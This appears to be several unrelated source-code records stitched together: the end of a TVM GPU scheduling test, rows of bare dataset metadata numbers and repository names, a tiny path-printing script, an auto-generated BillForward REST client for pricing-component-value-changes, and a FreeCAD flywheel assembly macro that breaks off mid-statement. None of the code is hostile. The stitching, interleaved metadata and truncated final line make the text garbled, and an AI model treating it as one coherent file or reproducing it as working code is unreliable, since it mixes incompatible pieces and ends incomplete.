op_stat_dict[op] = tgraph.op_stat_dict[v] c_list = form_connected_sets(subgraph, op_stat_dict, tensors, ops, down_graph) print(c_list) space = PrimitiveSpace() tuner = RandomPrimitiveTuner(space) sch = tgraph.schedules[0] scheduler = PrimitiveScheduler() for connected_set in c_list: scheduler = GPUScheduleMasterSet("test", subgraph, connected_set, down_graph, op_stat_dict, scheduler) scheduler.generate(sch) print(tvm.lower(sch, tgraph.bufs[0], simple_mode=True)) # tgraph.build(target) print("Success!") def test5(): print("test 5 ########################") H = 32 W = 16 L = 2048 def _gemm(M, N, K, A, B, requires_grad=True): k = tvm.te.reduce_axis([0, K]) return compute([M, N], lambda i, j: tvm.te.sum(A[i, k] * B[k, j], axis=[k]), requires_grad=requires_grad) def _add(M, N, A, B, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + B[i, j], requires_grad=requires_grad) def _add_const(k): def _inner(M, N, A, requires_grad=True): return compute([M, N], lambda i, j: A[i, j] + k, requires_grad=requires_grad) return _inner A = GraphTensor([H, L], name="A") B = GraphTensor([L, W], name="B") C = GraphOp([H, L], [], [A], _add_const(1), name="C") D = GraphOp([L, W], [], [B], _add_const(2), name="D") E = GraphOp([H, W], [L], [C, D], _gemm, name="E") F = GraphTensor([H, W], name="F") G = GraphOp([H, W], [], [E, F], _add, name="G") H = GraphOp([H, W], [], [G], _add_const(3), name="H") H_tensor, params = H({}) inputs = [params[x].tvm_tensor for x in [A, B]] weights = [params[x].tvm_tensor for x in [F]] outputs = [params[x].tvm_tensor for x in [H]] tgraph = PyTIRGraph( inputs, [], outputs, weights, None, [], []) C_tvm_tensor = params[C].tvm_tensor D_tvm_tensor = params[D].tvm_tensor G_tvm_tensor = params[G].tvm_tensor H_tvm_tensor = params[H].tvm_tensor tgraph.op_stat_dict[C_tvm_tensor.op].head = True tgraph.op_stat_dict[D_tvm_tensor.op].head = True tgraph.op_stat_dict[G_tvm_tensor.op].head = False tgraph.op_stat_dict[H_tvm_tensor.op].head = False tgraph.partition_graph() tgraph.create_schedule() print("num subgraphs:", len(tgraph.subgraphs)) target = "cuda" dev = 0 subgraph = tgraph.subgraphs[0] tensors = list(subgraph.outputs.keys()) + list(subgraph.loss.keys()) \ + list(subgraph.gradients.keys()) + list(subgraph.updates.keys()) ops = [x.op for x in tensors] op_list, down_graph = flatten_tir_graph(ops, output_first=True) op_stat_dict = {} for op in op_list: v = tgraph.op_map[op] if v in tgraph.op_stat_dict: op_stat_dict[op] = tgraph.op_stat_dict[v] c_list = form_connected_sets(subgraph, op_stat_dict, tensors, ops, down_graph) print(c_list) space = PrimitiveSpace() tuner = RandomPrimitiveTuner(space) sch = tgraph.schedules[0] scheduler = PrimitiveScheduler() for connected_set in c_list: scheduler = GPUScheduleMasterBaseSet("test", subgraph, connected_set, down_graph, op_stat_dict, scheduler) scheduler.generate(sch) print(tvm.lower(sch, tgraph.bufs[0], simple_mode=True)) # tgraph.build(target) print("Success!") if __name__ == "__main__": test1() test2() test3() test4() test5()
30.611628
110
0.648105
2,059
13,163
3.939291
0.063137
0.081001
0.056713
0.053261
0.932684
0.91641
0.91456
0.913574
0.910739
0.908149
0
0.007724
0.183621
13,163
430
111
30.611628
0.747069
0.007901
0
0.891813
0
0
0.026582
0.009193
0
0
0
0
0
1
0.070175
false
0
0.026316
0.02924
0.152047
0.073099
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
517c6bd7f970d81d602971c5a8d3ea91e3844ea0
81
py
Python
test.py
yongbowin/san_mrc_annotation
e65a67963a1418d92267ccca5c12d358cf4a808d
[ "BSD-3-Clause" ]
1
2020-10-11T13:41:33.000Z
2020-10-11T13:41:33.000Z
test.py
yongbowin/san_mrc_annotation
e65a67963a1418d92267ccca5c12d358cf4a808d
[ "BSD-3-Clause" ]
null
null
null
test.py
yongbowin/san_mrc_annotation
e65a67963a1418d92267ccca5c12d358cf4a808d
[ "BSD-3-Clause" ]
null
null
null
import os print(os.path.abspath("./")) print(os.path.join("data/", "test.txt"))
16.2
40
0.641975
13
81
4
0.692308
0.269231
0.423077
0
0
0
0
0
0
0
0
0
0.074074
81
5
40
16.2
0.693333
0
0
0
0
0
0.182927
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0.666667
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
7
51854b5f2c63d4d58c9c84eb941a72e21c26d77b
36,982
py
Python
billforward/apis/pricingcomponentvaluechanges_api.py
billforward/bf-python
d2b812329ca3ed1fd94364d7f46f69ad74665596
[ "Apache-2.0" ]
2
2016-11-23T17:32:37.000Z
2022-02-24T05:13:20.000Z
billforward/apis/pricingcomponentvaluechanges_api.py
billforward/bf-python
d2b812329ca3ed1fd94364d7f46f69ad74665596
[ "Apache-2.0" ]
null
null
null
billforward/apis/pricingcomponentvaluechanges_api.py
billforward/bf-python
d2b812329ca3ed1fd94364d7f46f69ad74665596
[ "Apache-2.0" ]
1
2016-12-30T20:02:48.000Z
2016-12-30T20:02:48.000Z
# coding: utf-8 """ BillForward REST API OpenAPI spec version: 1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class PricingcomponentvaluechangesApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def create_pricing_component_value_change(self, pricing_component_value_change, **kwargs): """ Create a pricing-component-value-change. {\"nickname\":\"Create\",\"request\":\"createPricingComponentValueChangeRequest.html\",\"response\":\"createPricingComponentValueChangeResponse.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.create_pricing_component_value_change(pricing_component_value_change, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param InsertableBillingEntity pricing_component_value_change: The pricing-component-value-change object to be updated. (required) :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.create_pricing_component_value_change_with_http_info(pricing_component_value_change, **kwargs) else: (data) = self.create_pricing_component_value_change_with_http_info(pricing_component_value_change, **kwargs) return data def create_pricing_component_value_change_with_http_info(self, pricing_component_value_change, **kwargs): """ Create a pricing-component-value-change. {\"nickname\":\"Create\",\"request\":\"createPricingComponentValueChangeRequest.html\",\"response\":\"createPricingComponentValueChangeResponse.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.create_pricing_component_value_change_with_http_info(pricing_component_value_change, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param InsertableBillingEntity pricing_component_value_change: The pricing-component-value-change object to be updated. (required) :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ all_params = ['pricing_component_value_change'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_pricing_component_value_change" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'pricing_component_value_change' is set if ('pricing_component_value_change' not in params) or (params['pricing_component_value_change'] is None): raise ValueError("Missing the required parameter `pricing_component_value_change` when calling `create_pricing_component_value_change`") resource_path = '/pricing-component-value-changes'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'pricing_component_value_change' in params: body_params = params['pricing_component_value_change'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['text/xml', 'application/xml', 'application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = [] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PricingComponentValueChangePagedMetadata', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def get_all_pricing_component_value_changes(self, **kwargs): """ Returns a collection of pricing-component-value-changes. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Get All\",\"response\":\"getPricingComponentValueChangeAll.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_all_pricing_component_value_changes(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_all_pricing_component_value_changes_with_http_info(**kwargs) else: (data) = self.get_all_pricing_component_value_changes_with_http_info(**kwargs) return data def get_all_pricing_component_value_changes_with_http_info(self, **kwargs): """ Returns a collection of pricing-component-value-changes. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Get All\",\"response\":\"getPricingComponentValueChangeAll.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_all_pricing_component_value_changes_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ all_params = ['organizations', 'offset', 'records', 'order_by', 'order'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_all_pricing_component_value_changes" % key ) params[key] = val del params['kwargs'] resource_path = '/pricing-component-value-changes'.replace('{format}', 'json') path_params = {} query_params = {} if 'organizations' in params: query_params['organizations'] = params['organizations'] if 'offset' in params: query_params['offset'] = params['offset'] if 'records' in params: query_params['records'] = params['records'] if 'order_by' in params: query_params['order_by'] = params['order_by'] if 'order' in params: query_params['order'] = params['order'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = [] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PricingComponentValueChangePagedMetadata', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def get_pricing_component_value_change(self, id, **kwargs): """ Returns a single pricing-component-value-changes, specified by the ID parameter. {\"nickname\":\"Retrieve by id\",\"response\":\"getPricingComponentValueChangeByID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: The string ID of the pricing-component-value-change. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_pricing_component_value_change_with_http_info(id, **kwargs) else: (data) = self.get_pricing_component_value_change_with_http_info(id, **kwargs) return data def get_pricing_component_value_change_with_http_info(self, id, **kwargs): """ Returns a single pricing-component-value-changes, specified by the ID parameter. {\"nickname\":\"Retrieve by id\",\"response\":\"getPricingComponentValueChangeByID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: The string ID of the pricing-component-value-change. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'organizations'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_pricing_component_value_change" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `get_pricing_component_value_change`") resource_path = '/pricing-component-value-changes/{ID}'.replace('{format}', 'json') path_params = {} if 'id' in params: path_params['ID'] = params['id'] query_params = {} if 'organizations' in params: query_params['organizations'] = params['organizations'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['text/plain']) # Authentication setting auth_settings = [] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PricingComponentValueChangePagedMetadata', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def get_pricing_component_value_change_by_component_id(self, pricing_component_id, **kwargs): """ Returns a collection of pricing-component-value-changes, specified by the pricing-component-value-ID parameter. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Retrieve by Component-ID\",\"response\":\"getPricingComponentValueChangeByID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change_by_component_id(pricing_component_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str pricing_component_id: The string ID of the pricing-component-value. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_pricing_component_value_change_by_component_id_with_http_info(pricing_component_id, **kwargs) else: (data) = self.get_pricing_component_value_change_by_component_id_with_http_info(pricing_component_id, **kwargs) return data def get_pricing_component_value_change_by_component_id_with_http_info(self, pricing_component_id, **kwargs): """ Returns a collection of pricing-component-value-changes, specified by the pricing-component-value-ID parameter. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Retrieve by Component-ID\",\"response\":\"getPricingComponentValueChangeByID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change_by_component_id_with_http_info(pricing_component_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str pricing_component_id: The string ID of the pricing-component-value. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ all_params = ['pricing_component_id', 'organizations', 'offset', 'records', 'order_by', 'order'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_pricing_component_value_change_by_component_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'pricing_component_id' is set if ('pricing_component_id' not in params) or (params['pricing_component_id'] is None): raise ValueError("Missing the required parameter `pricing_component_id` when calling `get_pricing_component_value_change_by_component_id`") resource_path = '/pricing-component-value-changes/component-ID/{pricing-component-ID}'.replace('{format}', 'json') path_params = {} if 'pricing_component_id' in params: path_params['pricing-component-ID'] = params['pricing_component_id'] query_params = {} if 'organizations' in params: query_params['organizations'] = params['organizations'] if 'offset' in params: query_params['offset'] = params['offset'] if 'records' in params: query_params['records'] = params['records'] if 'order_by' in params: query_params['order_by'] = params['order_by'] if 'order' in params: query_params['order'] = params['order'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['text/plain']) # Authentication setting auth_settings = [] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PricingComponentValueChangePagedMetadata', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def get_pricing_component_value_change_by_invoice_id(self, invoice_id, **kwargs): """ Returns a collection of pricing-component-value-changes, specified by the invoice-ID parameter. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Retrieve by Invoice-ID\",\"response\":\"getPricingComponentValueChangeByInvoiceID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change_by_invoice_id(invoice_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str invoice_id: The string invoice-ID of the pricing-component-value-change. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_pricing_component_value_change_by_invoice_id_with_http_info(invoice_id, **kwargs) else: (data) = self.get_pricing_component_value_change_by_invoice_id_with_http_info(invoice_id, **kwargs) return data def get_pricing_component_value_change_by_invoice_id_with_http_info(self, invoice_id, **kwargs): """ Returns a collection of pricing-component-value-changes, specified by the invoice-ID parameter. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Retrieve by Invoice-ID\",\"response\":\"getPricingComponentValueChangeByInvoiceID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change_by_invoice_id_with_http_info(invoice_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str invoice_id: The string invoice-ID of the pricing-component-value-change. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ all_params = ['invoice_id', 'organizations', 'offset', 'records', 'order_by', 'order'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_pricing_component_value_change_by_invoice_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'invoice_id' is set if ('invoice_id' not in params) or (params['invoice_id'] is None): raise ValueError("Missing the required parameter `invoice_id` when calling `get_pricing_component_value_change_by_invoice_id`") resource_path = '/pricing-component-value-changes/invoice/{invoice-ID}'.replace('{format}', 'json') path_params = {} if 'invoice_id' in params: path_params['invoice-ID'] = params['invoice_id'] query_params = {} if 'organizations' in params: query_params['organizations'] = params['organizations'] if 'offset' in params: query_params['offset'] = params['offset'] if 'records' in params: query_params['records'] = params['records'] if 'order_by' in params: query_params['order_by'] = params['order_by'] if 'order' in params: query_params['order'] = params['order'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['text/plain']) # Authentication setting auth_settings = [] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PricingComponentValueChangePagedMetadata', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def get_pricing_component_value_change_by_subscription_id(self, subscription_id, **kwargs): """ Returns a collection of pricing-component-value-changes, specified by the subscription-ID parameter. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Retrieve by Subscription-ID\",\"response\":\"getPricingComponentValueChangeBySubscriptionID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change_by_subscription_id(subscription_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str subscription_id: ID of the subscription. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_pricing_component_value_change_by_subscription_id_with_http_info(subscription_id, **kwargs) else: (data) = self.get_pricing_component_value_change_by_subscription_id_with_http_info(subscription_id, **kwargs) return data def get_pricing_component_value_change_by_subscription_id_with_http_info(self, subscription_id, **kwargs): """ Returns a collection of pricing-component-value-changes, specified by the subscription-ID parameter. By default 10 values are returned. Records are returned in natural order. {\"nickname\":\"Retrieve by Subscription-ID\",\"response\":\"getPricingComponentValueChangeBySubscriptionID.html\"} This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_pricing_component_value_change_by_subscription_id_with_http_info(subscription_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str subscription_id: ID of the subscription. (required) :param list[str] organizations: A list of organization-IDs used to restrict the scope of API calls. :param int offset: The offset from the first pricing-component-value-change to return. :param int records: The maximum number of pricing-component-value-changes to return. :param str order_by: Specify a field used to order the result set. :param str order: Ihe direction of any ordering, either ASC or DESC. :return: PricingComponentValueChangePagedMetadata If the method is called asynchronously, returns the request thread. """ all_params = ['subscription_id', 'organizations', 'offset', 'records', 'order_by', 'order'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_pricing_component_value_change_by_subscription_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'subscription_id' is set if ('subscription_id' not in params) or (params['subscription_id'] is None): raise ValueError("Missing the required parameter `subscription_id` when calling `get_pricing_component_value_change_by_subscription_id`") resource_path = '/pricing-component-value-changes/subscription/{subscription-ID}'.replace('{format}', 'json') path_params = {} if 'subscription_id' in params: path_params['subscription-ID'] = params['subscription_id'] query_params = {} if 'organizations' in params: query_params['organizations'] = params['organizations'] if 'offset' in params: query_params['offset'] = params['offset'] if 'records' in params: query_params['records'] = params['records'] if 'order_by' in params: query_params['order_by'] = params['order_by'] if 'order' in params: query_params['order'] = params['order'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['text/plain']) # Authentication setting auth_settings = [] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PricingComponentValueChangePagedMetadata', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'))
49.112882
193
0.625548
4,000
36,982
5.5685
0.06
0.088354
0.099937
0.086064
0.943971
0.927449
0.921298
0.899928
0.893867
0.876313
0
0.000995
0.293332
36,982
752
194
49.178191
0.851305
0.423044
0
0.755747
1
0
0.197853
0.084332
0
0
0
0
0
1
0.037356
false
0
0.020115
0
0.112069
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
51a82e800fac813b2a31e90c4a72fea1192d894c
89
py
Python
Tad/Insercao.py
matheusscheu/AED2
5711fc705e40e6f6fe1d6b31490afdfe779c0daa
[ "MIT" ]
1
2020-07-15T14:33:38.000Z
2020-07-15T14:33:38.000Z
Tad/Insercao.py
matheusscheu/AED2
5711fc705e40e6f6fe1d6b31490afdfe779c0daa
[ "MIT" ]
null
null
null
Tad/Insercao.py
matheusscheu/AED2
5711fc705e40e6f6fe1d6b31490afdfe779c0daa
[ "MIT" ]
null
null
null
class NomeDaClasse: def metodo(self, args): pass def metodo(args): return args
14.833333
25
0.685393
12
89
5.083333
0.666667
0.295082
0
0
0
0
0
0
0
0
0
0
0.224719
89
6
26
14.833333
0.884058
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0.2
0
0.2
0.8
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
7
51d2e790b882a8f8ed5d9b1d3986d84a995df4aa
4,989
py
Python
Chas_Campbell_Gravitational_Engine/Version_1/assembly_flywheel.py
Jay4C/Python-Macros-For_FreeCAD
12ce5441a26731377fa43e86ccd2be675740d3a0
[ "MIT" ]
null
null
null
Chas_Campbell_Gravitational_Engine/Version_1/assembly_flywheel.py
Jay4C/Python-Macros-For_FreeCAD
12ce5441a26731377fa43e86ccd2be675740d3a0
[ "MIT" ]
null
null
null
Chas_Campbell_Gravitational_Engine/Version_1/assembly_flywheel.py
Jay4C/Python-Macros-For_FreeCAD
12ce5441a26731377fa43e86ccd2be675740d3a0
[ "MIT" ]
null
null
null
import FreeCAD, Part, Drawing, math, Mesh DOC = FreeCAD.activeDocument() DOC_NAME = "assembly_flywheel" def clear_doc(): # Clear the active document deleting all the objects for obj in DOC.Objects: DOC.removeObject(obj.Name) def setview(): # Rearrange View FreeCAD.Gui.SendMsgToActiveView("ViewFit") FreeCAD.Gui.activeDocument().activeView().viewAxometric() if DOC is None: FreeCAD.newDocument(DOC_NAME) FreeCAD.setActiveDocument(DOC_NAME) DOC = FreeCAD.activeDocument() else: clear_doc() # EPS= tolerance to use to cut the parts EPS = 0.10 EPS_C = EPS * -0.5 # part_tige_filetee_m20_1000l Mesh.insert(u"part_tige_filetee_m20_1000l.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("part_tige_filetee_m20_1000l").ShapeColor = (0.40,0.20,0.10) FreeCAD.getDocument("assembly_flywheel").getObject("part_tige_filetee_m20_1000l").Placement = App.Placement(App.Vector(600,35,-(1000-20)/2),App.Rotation(App.Vector(0,0,1),0)) # assembly_slice_flywheel Mesh.insert(u"assembly_slice_flywheel.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel").ShapeColor = (0.10,0.20,0.40) FreeCAD.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel").Placement = App.Placement(App.Vector(0,0,0),App.Rotation(App.Vector(0,0,1),0)) # assembly_slice_flywheel for i in range(1, 7): z = 70 * i Mesh.insert(u"assembly_slice_flywheel.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel00" + str(i)).ShapeColor = (0.10,0.20,0.40) FreeCAD.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel00" + str(i)).Placement = App.Placement(App.Vector(0,0,z),App.Rotation(App.Vector(0,0,1),0)) # assembly_slice_flywheel for i in range(7, 13): z = -70 * (i - 6) if i < 10: Mesh.insert(u"assembly_slice_flywheel.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel00" + str(i)).ShapeColor = (0.10,0.20,0.40) FreeCAD.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel00" + str(i)).Placement = App.Placement(App.Vector(0,0,z),App.Rotation(App.Vector(0,0,1),0)) else: Mesh.insert(u"assembly_slice_flywheel.stl","assembly_flywheel") FreeCADGui.getDocument("assembly_flywheel").getObject("assembly_slice_flywheel0" + str(i)).ShapeColor = 